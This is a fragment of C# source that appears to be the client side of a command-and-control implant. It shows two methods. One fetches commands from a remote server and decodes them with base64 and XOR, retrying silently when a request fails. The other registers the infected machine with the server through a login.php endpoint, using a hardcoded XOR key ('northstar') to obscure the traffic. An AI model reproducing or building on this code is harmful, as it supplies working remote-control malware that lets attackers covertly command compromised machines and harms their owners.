/*
* <explanation>
* Send GET request to speficied uri and return response as command.
* </explanation>
*/
public string _getCommand(String uri, System.Net.WebClient web, initialEnum enumEnv, Chiper chipops)
{
try
{
comm = web.DownloadString(uri);
string clearedComm = Regex.Replace(comm, @"^\s+$[\r\n]*", string.Empty, RegexOptions.Multiline);
string decodedComm = chipops._xorOps(chipops._base64decode(clearedComm), enumEnv.xorKey);
return(decodedComm);
}
catch
{
while (true)
{
if (errorCounter > 19)
{
break;
}
System.Threading.Thread.Sleep(enumEnv.waitTime);
try
{
comm = web.DownloadString(uri);
string clearCommand = chipops._xorOps(chipops._base64decode(comm), enumEnv.xorKey);
return(clearCommand);
}
catch
{
errorCounter++;
}
}
errorCounter = 0;
return("");
}
}
/*
* <explanation>
* First stage of registration process.
* In this stage, client sends a GET request to login.php.
* If "OK" returns by server second stage of registration process will start.
* </explanation>
*/
private void _registerFirstStage(initialEnum enumed)
{
if (errorCounter < 20)
{
_setID(ref enumed);
string sid = chiperObj._base64encode(chiperObj._xorOps(enumed.clientID, "northstar"));
web.Headers[System.Net.HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded";
try
{
string myParameters = "sid=" + sid;
string stat = web.UploadString(Globals.registerFirstStageUri, myParameters);
enumed.xorKey = chiperObj._xorOps(chiperObj._base64decode(stat), Globals.tempKey);
errorCounter = 0;
_registerSecondStage(ref enumed);
}
catch
{
errorCounter += 1;
System.Threading.Thread.Sleep(5000);
_registerFirstStage(enumed);
}
}
else
{
isComplete = false;
}
}
